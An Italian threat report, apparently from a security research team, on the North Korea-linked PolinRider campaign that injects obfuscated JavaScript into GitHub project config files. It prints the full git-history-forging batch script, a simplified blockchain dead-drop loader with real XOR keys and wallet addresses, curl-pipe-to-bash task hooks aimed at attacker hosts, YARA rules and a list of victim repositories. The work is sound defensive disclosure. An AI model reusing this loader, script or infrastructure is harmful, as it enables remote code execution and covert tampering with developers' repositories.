
Dossier tecnico sull'attacco alla supply chain PolinRider collegato alla Corea del Nord, che documenta l'iniezione di payload JS offuscati, la manipolazione della cronologia git, l'infrastruttura C2 e le linee guida per la remediation per 1,951 repository compromessi.

Il team di OpenSourceMalware ha scoperto una massiccia campagna minacciosa che sta infettando i repository degli utenti e delle organizzazioni di GitHub. L'attore minaccioso, PolinRider, ha impiantato payload JavaScript offuscati e dannosi in centinaia di repository pubblici di GitHub appartenenti a centinaia di proprietari unici. Usa il tag #polinrider per vedere tutti i report delle minacce relativi a questa campagna, e salta alla fine di questo blog per la lista dei repository compromessi, inclusi quelli che raccomandiamo di prioritizzare per azione immediata. Tieni presente che il tag è il modo migliore per ottenere dati aggiornati.
Il payload JavaScript viene aggiunto alla fine dei veri file di configurazione del progetto — silenziosamente, dopo il contenuto legittimo del file — rendendolo facile da perdere durante una revisione del codice casuale. Il vettore di infezione primario sembra essere un pacchetto npm compromesso che viene eseguito durante l'installazione o la build e si inietta nei file di configurazione nella root del progetto. Ancora peggio, questo attore minaccioso ha usato la stessa tecnica per creare anche pacchetti NPM dannosi.
Questo attacco ha avuto un enorme successo, con un progetto open source compromesso, Neutralinojs, che ha diffuso il malware a centinaia dei suoi utenti e contributori. Neutralinojs è un progetto molto popolare con 8400 stelle, 495 fork e dozzine di contributori attivi. Questo è il potere di questo tipo di attacco, poiché la minaccia non si limita ai soli repository GitHub iniziali, ma si estende a tutti gli altri progetti che utilizzano quell'open source.
Il team di OpenSourceMalware ha attribuito questa campagna alla RPDC, e l'attore minaccioso PolinRider è un noto collaboratore del gruppo Lazarus con collegamenti alle campagne "Contagious Interview" e "TasksJacker".
Questa campagna è cresciuta drammaticamente dalla prima pubblicazione. Al 2026-04-11, il team OSM ha confermato che 1.951 repository pubblici di GitHub appartenenti a 1.047 proprietari unici sono compromessi. Questo è un aumento di 2,9× nelle cinque settimane dalla data di pubblicazione originale (8 marzo: 675 repo / 352 proprietari).

In una caccia di follow-up iniziata il 2026-04-10 e proseguita fino al 2026-04-11, il team OSM ha fatto diverse scoperte importanti:
La campagna è più che raddoppiata in 5 settimane. L'enumerazione cross-engine tramite GitHub Code Search e Sourcegraph (con raffinamento oltre il limite di 1000 risultati dell'API — vedi metodologia sotto) ha portato alla luce 1.556 repository unici compromessi nel nostro master v3 al primo giorno. Una seconda caccia il giorno successivo ha aggiunto altri 215 nuovi repo tramite pivot sui nomi dei pacchetti npm, pivot su VS Code tasks.json / cloud-provider, e il sottodominio C2 appena scoperto default-configuration.vercel.app. Dopo la deduplicazione rispetto al corpus esistente affected_repos.csv, il vero ambito noto è ora 1.951 repo vittima unici / 1.047 proprietari unici.
È stata osservata una nuova variante. PolinRider ha ruotato tutte le impronte digitali uniche del suo offuscatore preservando l'architettura. La nuova variante utilizza il marcatore di firma Cot%3t=shtP (era rmcej%otb%), il seme di mescolamento 1111436 (era 2857687), il seme secondario 3896884 (era 2667686), e il nome della funzione decoder MDy (era _$_1e42). Questa rotazione sembra essere una risposta di elusione alla pubblicata. Entrambe le varianti sono attualmente attive in natura. Vedi sotto.
I report completi della caccia v3 + round 2 e i TSV master sono in reports/.
L'attore minaccioso non utilizza credenziali GitHub rubate. Invece, le vittime sono state compromesse tramite un'estensione VS Code dannosa o un pacchetto NPM. Non sappiamo ancora quale sia quel vettore iniziale, ma sappiamo cosa fa dalle prove forensi.
La prima cosa che accade è che il malware esegue una funzione di ricerca sul computer locale che cerca determinati file come:
Se trova uno di questi file, aggiungerà codice JavaScript dannoso pesantemente offuscato alla fine di quel file. Successivamente, il malware installa un file batch di Windows, chiamato temp_auto_push.bat. Sappiamo che questo file esiste e cosa fa perché gli attori minacciosi lo hanno lasciato su centinaia di server compromessi, fornendo ai ricercatori un'impronta digitale da cercare. Ecco il file batch nella sua interezza:``` @echo off for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% echo %LAST_COMMIT_TEXT% echo %USER_NAME% (%USER_EMAIL%) echo Branch: %CURRENT_BRANCH% set CURRENT_DATE=%date% set CURRENT_TIME=%time% date %LAST_COMMIT_DATE% time %LAST_COMMIT_TIME% echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% git config --local user.name %USER_NAME% git config --local user.email %USER_EMAIL% git add . git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify date %CURRENT_DATE% time %CURRENT_TIME% echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit! git push -uf origin %CURRENT_BRANCH% --no-verify @echo on
### Analisi del file batch
Questo file batch **riscrive l'ultimo commit git preservando il timestamp originale** — facendo sembrare un commit modificato come se non fosse mai stato toccato.
#### Fase 1: Estrazione dei metadati dell'ultimo commit
Esegue `git log -1` cinque volte per estrarre i dettagli dell'ultimo commit in variabili d'ambiente:
| Variabile | Valore acquisito |
|---|---|
| `LAST_COMMIT_DATE` | Data dell'ultimo commit (YYYY-MM-DD) |
| `LAST_COMMIT_TIME` | Ora dell'ultimo commit (HH:MM:SS) |
| `LAST_COMMIT_TEXT` | Messaggio del commit |
| `USER_NAME` | Nome dell'autore |
| `USER_EMAIL` | Email dell'autore |
| `CURRENT_BRANCH` | Nome del branch corrente |
#### Fase 2: Visualizzazione delle informazioni estratte
Mostra questi valori nella console in modo da poter vedere cosa è stato catturato prima di procedere.
#### Fase 3: Il trucco del timestamp (manipolazione principale)
1. Salva la data e l'ora *correnti* del sistema in variabili
2. **Modifica l'orologio di sistema di Windows** per corrispondere alla data e ora dell'ultimo commit
3. Imposta `user.name` e `user.email` locali di git per corrispondere all'autore del commit originale
#### Fase 4: Modifica del commit```bat
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
Perché l'orologio di sistema è stato riportato indietro, git registra il commit modificato con il timestamp originale, facendolo apparire non modificato nella cronologia. --no-verify bypassa eventuali hook pre-commit.
-uf e --no-verify per bypassare gli hook di pushQuesto script ti permette di modificare silenziosamente l'ultimo commit (aggiungendo o cambiando file) facendo sì che il commit riscritto appaia con lo stesso autore, timestamp e messaggio di prima. Per qualsiasi osservatore che guardi la cronologia git, sembra che il commit non sia mai stato modificato.
-uf) sovrascriverà la cronologia remota — distruttivo per chiunque altro sul ramo--no-verify bypassano intenzionalmente qualsiasi hook CI/CD o controllo lintSupponiamo che il malware abbia funzioni simili per riscrivere la cronologia git anche per altri sistemi operativi come Linux e MacOS. In effetti, abbiamo visto prove che sta accadendo su altri sistemi operativi, ma gli attori della minaccia non hanno lasciato strumenti che funzionano su quelle altre piattaforme nel codice sorgente come hanno fatto per Windows.
Per i proprietari dei repository colpiti:
postcss.config.*, tailwind.config.*, eslint.config.*, next.config.*, vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, ecc.) per contenuti che appaiono dopo export default o module.exports. Controlla anche rami non predefiniti e percorsi monorepo annidati (apps/*/, frontend/, client/, web/, ecc.) — molte vittime sono infettate solo in percorsi profondi.Per strumenti di sicurezza / registri:
polinrider_payload (sotto) alle pipeline di analisi statica — copre entrambe le varianti rmcej%otb% e Cot%3t=shtP.filename:temp_auto_push.bat e LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat come query di monitoraggio continuo su GitHub Code Search.Il nostro team ha scritto uno script bash che controllerà il tuo sistema locale per compromissioni. Alla fine di questo post del blog puoi trovare maggiori informazioni, oppure puoi vedere lo script qui
L'aggiornamento del 10 aprile ha ampliato significativamente l'elenco dei tipi di file. Il malware prende di mira un insieme più ampio di file della famiglia JS di quanto originariamente documentato, ed è stato osservato all'interno di asset binari come file di font .woff2. I conteggi seguenti riflettono il corpus del 10 aprile 2026 di 1.736 repository unici.
La predominanza di postcss.config.mjs (~62% dei repository in entrambi i punti dati) continua a indicare l'ecosistema PostCSS / Tailwind come vettore di infezione primario. Le nuove voci osservate — vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, truffle.js e i file binari .woff2 — mostrano che il malware ha ampliato le sue euristiche di selezione dei file o che l'attore della minaccia sta utilizzando più veicoli di pacchetti npm per raggiungere le vittime utilizzando diversi strumenti di build.
L'artefatto dello script di propagazione temp_auto_push.bat è stato lasciato in 101 repository di vittime, anche nei casi in cui il payload JS è stato successivamente ripulito dal proprietario. Questo file è uno degli indicatori di compromissione passata con la più alta confidenza.

L'attore della minaccia ha pubblicato diversi pacchetti NPM dannosi, tutti impersonanti utility adiacenti a Tailwind / PostCSS. Al 11 aprile 2026, gli account npm allavin e blackedward sono stati entrambi cancellati da npm e i loro pacchetti rimossi, ma i repository delle vittime esistenti contengono ancora i riferimenti alle dipendenze e (in molti casi) hanno ancora il malware iniettato post-installazione nei loro file di configurazione.
La caccia dell'11 aprile ha confermato che tailwindcss-style-animate ^1.1.6 è la dipendenza dannosa primaria del template falso-colloquio ShoeVista — 34 dei 46 risultati di pivot tramite pacchetti npm sono ricarichi da parte di sviluppatori di quel template con quella stessa dipendenza. Gli altri pacchetti nella lista sono utilizzati da campagne sorelle (es. tailwind-autoanimation nel cluster devhire-frontend e reactapp-6).
Gli investigatori che vogliono effettuare un pivot tramite l'albero dei dipendenti npm dovrebbero notare che questo pivot non è più valido per tailwind-mainanimation — npm ha rimosso la release dannosa live. Effettua invece il pivot tramite query su GitHub Code Search del tipo "<nome_pacchetto>" filename:package.json, che restituiscono ancora i riferimenti fantasma nei repository delle vittime.

Il pacchetto tailwind-autoanimation utilizza la stessa identica tecnica di aggiungere il payload JavaScript dannoso alla fine del file di entrata src/index.js:

PolinRider fornisce un payload a più stadi, che culmina in una nuova versione del malware DPRK Beavertail. Il payload iniziale è un backdoor/infostealer di compromissione di massa che inietta un payload JavaScript offuscato nei repository di sviluppatori legittimi. Il payload viene aggiunto dopo spazi bianchi a file di configurazione comuni (postcss.config.mjs, eslint.config.mjs, tailwind.config.js, ecc.) in modo che venga eseguito automaticamente quando gli strumenti di build importano il modulo. Utilizza una routine di deoffuscazione a shuffling di stringhe a più livelli, costruendo e valutando infine il payload finale in fase di esecuzione.
Il team OSM ha finora osservato due varianti attive di questo offuscatore con impronte digitali uniche ruotate:
("rmcej%otb%",2857687), funzione decoder _$_1e42, seed secondario 2667686, marcatore di iniezione global['!'].Cot%3t=shtP, seed di shuffling 1111436, funzione decoder MDy, seed secondario 3896884, marcatore di iniezione global['_V']='8-XXX'. Stessa architettura, tutte le costanti uniche ruotate — quasi certamente una risposta di elusione alla regola YARA rmcej_otb_payload pubblicata.Entrambe le varianti utilizzano la stessa infrastruttura C2 a caduta morta basata su blockchain (TRON / Aptos / BSC) con le stesse chiavi XOR, ed entrambe sono attualmente attive nel mondo reale.
Questo payload finale è un sofisticato risolutore di caduta morta basato su blockchain che utilizza transazioni blockchain immutabili come infrastruttura di Comando e Controllo (C2). Il malware recupera payload JavaScript crittografati da account blockchain (TRON, Aptos e BSC), li decritta utilizzando la crittografia XOR e li esegue tramite eval(). Questa tecnica rende l'infrastruttura C2 virtualmente impossibile da smantellare poiché i dati blockchain sono immutabili.
Comunicazione C2 Basata su Blockchain
Decrittazione del Payload
Esecuzione di Codice Remoto
eval()Caratteristiche Anti-Analisi
Il team OSM ha descritto la catena di attacco completa per questo malware nel nostro blog sul recente compromesso di Neutralinojs.
Il malware utilizza quattro livelli di offuscamento:
Livello 1: Algoritmo di scambio di caratteri con seed 2857687
['r', 'object', 'm'] (require, typeof check, module)Livello 2: Scambio di caratteri con seed 2667686
Livello 3: Cifrario di sostituzione personalizzato
.c, .a, ecc. con caratteri reali\, `, spazio, newline, *, ' e altriLivello 4: Crittografia XOR per payload finali
Cot%3t=shtPNell'aprile 2026 il team OSM ha identificato una seconda variante attiva dell'offuscatore PolinRider. L'architettura è identica all'originale — stesso cifrario a shuffling a 4 livelli, stessa caduta morta blockchain C2, stesso secondo stadio Beavertail a più fasi — ma ogni stringa di impronta digitale unica è stata ruotata, quasi certamente in risposta alla regola YARA rmcej_otb_payload pubblicata.
La nuova variante utilizza una riga aggiuntiva di marcatore di iniezione: global['_V']='8-XXX' (dove 8-XXX è un tag di versione per iniezione, es. 8-st1, 8-st2, …, 8-st59, più un batch numerico parallelo come 8-413, 8-683, 8-778, 8-974). I tag sequenziali '8-stN' sono la prova più forte del team OSM che gli strumenti dell'attore della minaccia assegnano un ID numerico per vittima e che esistono almeno 59 iniezioni sequenziali di questa variante (alcune non ancora indicizzate dalla ricerca pubblica del codice).
Almeno un repository — HassanHabibTahir/testclient — contiene marcatori di ENTRAMBE le varianti in file diversi (rmcej%otb% in postcss.config.mjs e global['_V'] in un altro file), indicando che gli strumenti dell'attore della minaccia stanno rieseguendo contro host precedentemente compromessi con l'offuscatore ruotato. I difensori non dovrebbero dare per scontato che un repository una volta pulito rimanga pulito.
Oltre ai vettori di distribuzione del pacchetto npm e di .vscode/tasks.json, l'attore della minaccia PolinRider ha realizzato almeno due falsi progetti di test da portare a casa distribuiti ai candidati tramite esche di falsi colloqui di lavoro (il classico playbook Contagious Interview). Questi template di progetto vengono forniti pre-caricati con dipendenze dannose o payload tasks.json, in modo che semplicemente clonare ed eseguire il progetto inneschi l'infezione.
ShoeVista (visto anche come shoevista, shoe-vista, Test-west-shoe, Test-002, product-catalog, mern-app, vari fork con nome del candidato)client/, backend Node/Express in server/ (tipico MERN da portare a casa)"tailwindcss-style-animate": "^1.1.6" in client/package.jsonname di Package.json: "client" (generico — il marchio ShoeVista è nel README / pagina di destinazione della finta azienda)"projectInfo": { "name": "StakingGame", "description": "Advanced VSCode automation for multi-environment blockchain deployment.", "uuid": "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" } — il UUID è costante in tutte le vittime ed è l'indicatore più forte di questo template.vscode/tasks.json armato con runOn: folderOpen che esegue curl | bash contro default-configuration.vercel.app e gli altri sottodomini C2 Vercel scoperti di recenteDevba/lmng-top-, wyrustaaruz/cal-eco-platformL'esistenza di progetti template pre-armati significa:
test-*, *-test, *-interview, *-assessment, *-task) nelle loro euristiche di ricerca.### Struttura del codice```javascript
// Simplified structure (actual code is heavily obfuscated)
async function fetchPayloadFromTron(address) {
// Queries TRON API for account transactions
const response = await https.get(
`https://api.trongrid.io/v1/accounts/${address}/transactions?only_confirmed=true&only_from=true&limit=1`
);
// Extracts encrypted data from transaction
return response.data[0].raw_data.data;
}
async function fetchPayloadFromAptos(txHash) {
// Queries Aptos API for transaction details
const response = await https.get(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${txHash}/transactions?limit=1`
);
// Extracts payload from transaction arguments
return response[0].payload.arguments[0];
}
function xorDecrypt(encryptedData, key) {
// XOR decryption with repeating key
let result = '';
for (let i = 0; i < encryptedData.length; i++) {
const keyChar = key.charCodeAt(i % key.length);
result += String.fromCharCode(encryptedData.charCodeAt(i) ^ keyChar);
}
return result;
}
// Main execution
const encryptedPayload = await fetchPayloadFromTron("TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP");
const decryptedCode = xorDecrypt(encryptedPayload, "2[gWfGj;<:-93Z^C");
eval(decryptedCode); // EXECUTES ARBITRARY CODE
// Persistence via detached child process
require('child_process').spawn('node', ['-e', `global['_V']='...'${decryptedCode}`], {
detached: true,
stdio: 'ignore',
windowsHide: true
});
Usati nei payload curl | bash di .vscode/tasks.json con runOn: folderOpen. Tutti seguono la forma URL https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. Questi sono i server di bootstrap controllati dall'attaccante che forniscono il loader JS PolinRider alle vittime di VS Code.
Tutti e cinque i domini vscode-* / default-configuration sono stati scoperti durante la caccia del 10-11 aprile e ora fanno parte del set di query di caccia OSM. Ci si aspettano ulteriori sottodomini sibling poiché i domini Vercel sono economici / usa e getta per l'attaccante.
TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP (Primario)TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG (Secondario)Endpoint API: https://api.trongrid.io/v1/accounts/
0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e (Primario)0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 (Secondario)Endpoint API: https://fullnode.mainnet.aptoslabs.com/v1/accounts/
bsc-dataseed.binance.orgbsc-rpc.publicnode.comMetodo: eth_getTransactionByHash
2[gWfGj;<:-93Z^Cm6:tTh^D)cBz?NM]e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 — appare nel campo projectInfo.uuid del .vscode/tasks.json malevolo per il template finto-colloquio StakingGame. Altamente specifico; 0 falsi positivi nei test.La regola originale rmcej_otb_payload (ancora valida per la variante originale) è stata sostituita da una regola multi-variante che cattura sia il ceppo originale rmcej%otb% che il ceppo ruotato Cot%3t=shtP. Usa questa nei pipeline di analisi statica.```yara
rule polinrider_payload {
meta:
description = "Detects PolinRider shuffle-cipher JS payloads — both rmcej%otb% (v1) and Cot%3t=shtP (v2) variants"
author = "OpenSourceMalware.com"
date = "2026-04-10"
severity = "high"
strings:
// Original variant (rmcej%otb%)
$marker_v1 = "rmcej%otb%"
$seed1_v1 = "2857687"
$seed2_v1 = "2667686"
$varname_v1 = "_$_1e42"
$global_bang = "global['!']"
// New variant (Cot%3t=shtP)
$marker_v2 = "Cot%3t=shtP"
$seed1_v2 = "1111436"
$seed2_v2 = "3896884"
$varname_v2 = "MDy"
$global_V = "global['_V']"
// Common across variants
$global_r = "global['r'] = require"
$global_m = "global['m'] = module"
condition:
any of ($marker_*) or
($global_bang and ($seed1_v1 or $varname_v1)) or
($global_V and ($seed1_v2 or $varname_v2)) or
($global_r and $global_m and (any of ($seed1_*)))
}
### YARA Rule (Legacy) — solo variante originale```yara
rule rmcej_otb_payload {
meta:
description = "Detects rmcej%otb% shuffle-cipher JS payload injected into config files (original variant only)"
author = "OpenSourceMalware.com"
date = "2026-03-07"
severity = "high"
strings:
$marker = "rmcej%otb%"
$global = "global['!']"
$seed1 = "2857687"
$seed2 = "2667686"
$varname = "_$_1e42"
condition:
$marker or ($global and $seed1) or ($varname and $seed2)
}
I dati sono stati raccolti utilizzando l'API GitHub Code Search tramite gh search code, eseguendo una query per nome file infetto per aggirare il limite di 1.000 risultati per query. I risultati sono stati deduplicati per nome completo del repository.
La caccia del 10 aprile ha ampliato la raccolta dati combinando cinque pivot ortogonali e applicando una strategia di partizionamento per estensione/dimensione/fork per superare il limite di 1.000 risultati per query di GitHub Code Search sul pivot più potente.
La query del nome della funzione decoder _$_1e42 ha riportato total_count: 968 e un limite massimo di 1.000 elementi restituiti, ma l'interfaccia web di GitHub mostrava oltre 1.400 corrispondenze. Affinare in sottoquery ortogonali che ciascuna rimane sotto i 1.000 risultati, poi prendere l'unione, ha infranto il limite:
Tre risultati cruciali da questo esercizio:
fork:false). Aggiungendo fork:true sono emersi 157 repository fork contenenti il marcatore che erano completamente invisibili alla query originale.size:5000..10000 in fette da 1KB ha prodotto 986 risultati rispetto ai 968 riportati dal bucket — anche all'interno di un totale riportato inferiore a 1000, il limite può nascondere voci. L'approccio corretto è il bucketing ricorsivo fino a quando ogni bucket è ben al di sotto del limite.extension: producono più risultati totali rispetto alle suddivisioni per language: perché il rilevamento del linguaggio di GitHub a volte esclude .mjs e .cjs dal bucket JavaScript.Combinando i dati della caccia del 10–11 aprile con il file affected_repos.csv esistente si ottiene il corpus attualmente noto:
Su 44 campioni casuali prelevati in entrambi i round della caccia, sono stati osservati 0 falsi positivi. Ogni repository campionato conteneva almeno uno degli invarianti di PolinRider (rmcej%otb%, Cot%3t=shtP, _$_1e42, MDy, global['!'], global['_V'], LAST_COMMIT_DATE all'interno di un .bat di propagazione, un pacchetto npm dannoso noto in package.json, o un .vscode/tasks.json con un curl | bash verso uno dei sottodomini C2 noti) nel file al percorso del pivot indicizzato.
Il Round 2 ha specificamente introdotto due nuove classificazioni varianti nella tassonomia delle segnalazioni:
malicious_npm: il repository contiene uno dei 7 pacchetti npm dannosi noti in un package.json (45 segnalazioni — quasi tutti reupload del template ShoeVista).tasksjacker: il repository contiene un .vscode/tasks.json con un'attività runOn: folderOpen che esegue curl | bash o wget | sh contro un sottodominio C2 di Vercel/Render/Railway (27 segnalazioni — include il cluster di template StakingGame).Tutti i repository compromessi possono essere trovati tramite il tag OpenSourceMalware #polinrider.
I CSV completi sono ordinati per impatto per il triage.
Obiettivi prioritari:
sparktechagency(130 follower, 12 repo) eFSDTeam-SAA(21 follower, 12 repo) sono le organizzazioni con il volume più alto. Tra gli individui,coderkhalide(349 follower) ha la più ampia portata diretta.
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | Codechef-VITC-Student-Chapter | Organization | 6 | 11 | 1 | Client/postcss.config.mjs | | https://github.com/Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | | 2 | sparktechagency/Vap-shop-Front-End- | sparktechagency | Organization | 7 | 0 | 1 | postcss.config.mjs | VapeShopMaps – Una piattaforma social e-commerce B2B che collega utenti, negozi, marchi e grossisti con funzionalità social in tempo reale e ottimizzazione SEO avanzata. | https://github.com/sparktechagency/Vap-shop-Front-End- | | 3 | MIS-Silekta/silekta-frontend | MIS-Silekta | Organization | 1 | 3 | 1 | postcss.config.mjs | Questo è il repository frontend dell'azienda silekta per il modulo MIS. | https://github.com/MIS-Silekta/silekta-frontend | | 4 | UzairOrganization/allTask | UzairOrganization | Organization | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/UzairOrganization/allTask | | 5 | FSDTeam-SAA/nico41278-frontend | FSDTeam-SAA | Organization | 0 | 2 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/nico41278-frontend | | 6 | FSDTeam-SAA/cstrat_frontend | FSDTeam-SAA | Organization | 1 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/cstrat_frontend | | 7 | SoftySkills/quiz_app | SoftySkills | Organization | 3 | 0 | 1 | postcss.config.mjs | | https://github.com/SoftySkills/quiz_app | | 8 | dawahanigeria-team/rayyan-server | dawahanigeria-team | Organization | 3 | 0 | 1 | eslint.config.mjs | Rayyan App Server | https://github.com/dawahanigeria-team/rayyan-server | | 9 | FSDTeam-SAA/sahara_53 | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | Build a Story Time è una piattaforma basata sull'IA che permette agli utenti di creare libri di storie personalizzati usando la propria voce e i propri volti come personaggi. Trasforma la narrazione in un'esperienza magica, interattiva e profondamente personale. | https://github.com/FSDTeam-SAA/sahara_53 | | 10 | FSDTeam-SAA/lowready-frontend | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | https://github.com/FSDTeam-SAA/lowready-frontend | | 11 | Addis-Career/Frontend | Addis-Career | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 12 | etrainermis/mineduc-Form | etrainermis | Organization | 0 | 1 | 1 | postcss.config.mjs | EAC World Kiswahili Language Day Celebrations Forum | | | 13 | FSDTeam-SAA/brazen-kits | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 14 | FSDTeam-SAA/Igghy-dashboard | FSDTeam-SAA | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 15 | FlowBondTech/danz-miniapps | FlowBondTech | Organization | 0 | 1 | 2 | danz-main/postcss.config.mjs | daily-danz/postcss.config.mjs | | | | 16 | BrennansWave-com/brennanswave | BrennansWave-com | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 17 | FlowBondTech/danz-web | FlowBondTech | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 18 | QualifyAI/qualify-frontend | QualifyAI | Organization | 0 | 1 | 1 | postcss.config.mjs | | | | 19 | FSDTeam-SAA/ftfdesignco-backend | FSDTeam-SAA | Organization | 0 | 1 | 1 | src/router/index.js | | | | 20 | Gamage-Recruiters-406/Rent_a_Car | Gamage-Recruiters-406 | Organization | 1 | 0 | 1 | frontend/postcss.config.mjs | | | | 21 | Umbrelabs-Projects/Procobiz | Umbrelabs-Projects | Organization | 1 | 0 | 1 | postcss.config.mjs | | | | 22 | The-Extra-Project/Extra_surface_repo | The-Extra-Project | Organization | 1 | 0 | 1 | frontend/postcss.config.mjs | versione di deployment della versione di Laurent per Extra-surface. | | | 23 | Automobile-System/frontend | Automobile-System | Organization | 1 | 0 | 1 | postcss.config.mjs | | | | 24 | VplayProCrypto/mvp_vercel | VplayProCrypto | Organization | 1 | 0 | 1 | tailwind.config.js | Repository della fase 1 MVP | | | 25 | sparktechagency/nskustoms_custom_game_site-2.0 | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 26 | softvence-omega-future-stack/gameluke-frontend | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 27 | NexumTechnologies/E-Commerce | NexumTechnologies | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 28 | Umbrelabs-Projects/Hostella-superAdmin | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | Questo repo è per coloro che registreranno gli amministratori | | | 29 | FSDTeam-SAA/admin-dashboard-gman | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 30 | sparktechagency/protippz_website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 31 | FlowRMS/flow-connect-frontend-new | FlowRMS | Organization | 0 | 0 | 1 | postcss.config.mjs | FlowConnect Frontend Application | | | 32 | Anthem-InfoTech-Pvt-Ltd/dashboards | Anthem-InfoTech-Pvt-Ltd | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 33 | WeOwnAiAgents-Hackerhouse/WeOwnAiAgent | WeOwnAiAgents-Hackerhouse | Organization | 0 | 0 | 1 | postcss.config.mjs | costruire la piattaforma di orchestrazione di agenti definitiva, sovrana, basata su tokenomics e creata per la comunità web3. Contributo per l'hackathon ethdenver. | | | 34 | Karigar-App/Karigar | Karigar-App | Organization | 0 | 0 | 1 | packages/ui/postcss.config.mjs | | | | 35 | sparktechagency/silicon-zisan-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 36 | FSDTeam-SAA/hinkel-Website | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 37 | FSDTeam-SAA/iwmsadvisors | FSDTeam-SAA | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 38 | Umbrelabs-Projects/Hostella-admin | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | Hostella admin platform | | | 39 | Umbrelabs-Projects/Hostella-stu | Umbrelabs-Projects | Organization | 0 | 0 | 1 | postcss.config.mjs | Hostella student hostel booking platform | | | 40 | iwb25-412-vertex-prime/apigateway-v1 | iwb25-412-vertex-prime | Organization | 0 | 0 | 1 | userportal/postcss.config.mjs | Portale utente + livello di gestione | Gestione delle quote, applicazione delle regole, validazione delle chiavi API. | | | 41 | Cloudrika/cloudrika-web | Cloudrika | Organization | 0 | 0 | 2 | packages/ui/postcss.config.mjs | apps/email-portal/next.config.mjs | | | | 42 | sparktechagency/consult_dashboard | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 43 | sparktechagency/jonowoods-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 44 | Softvence-Omega-Dev-Ninjas/diaz-jupiter-marine-frontend | Softvence-Omega-Dev-Ninjas | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 45 | sparktechagency/profitable-website-v2 | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 46 | musetax/Amus-fe | musetax | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 47 | sparktechagency/faceAi-front-end | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 48 | sparktechagency/any-job-dashboard | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 49 | sparktechagency/anyjob-web | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 50 | softvence-omega-future-stack/lawalx_frontend | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 51 | softvence-omega-future-stack/kilian-rodhe-last- | softvence-omega-future-stack | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 52 | WeOwnNetwork/EthDenver-submission | WeOwnNetwork | Organization | 0 | 0 | 1 | apps/web/postcss.config.mjs | Costruzione del client dell'infrastruttura di orchestrazione #FedArch con registro agenti on-chain. Invio per l'hackathon ETHDenver 2026. | | | 53 | sparktechagency/betopia-website | sparktechagency | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 54 | FlowRMSLabs/flowdemandwebsite | FlowRMSLabs | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 55 | BhavikPatel-dreamz/wove-gift-portal | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 56 | BhavikPatel-dreamz/DynamicDreamz-AIagent-Demos | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 57 | GARAGE-POS/nextjs_test | GARAGE-POS | Organization | 0 | 0 | 1 | postcss.config.mjs | | | | 58 | BhavikPatel-dreamz/Homeopathway | BhavikPatel-dreamz | Organization | 0 | 0 | 1 | postcss.config.mjs | 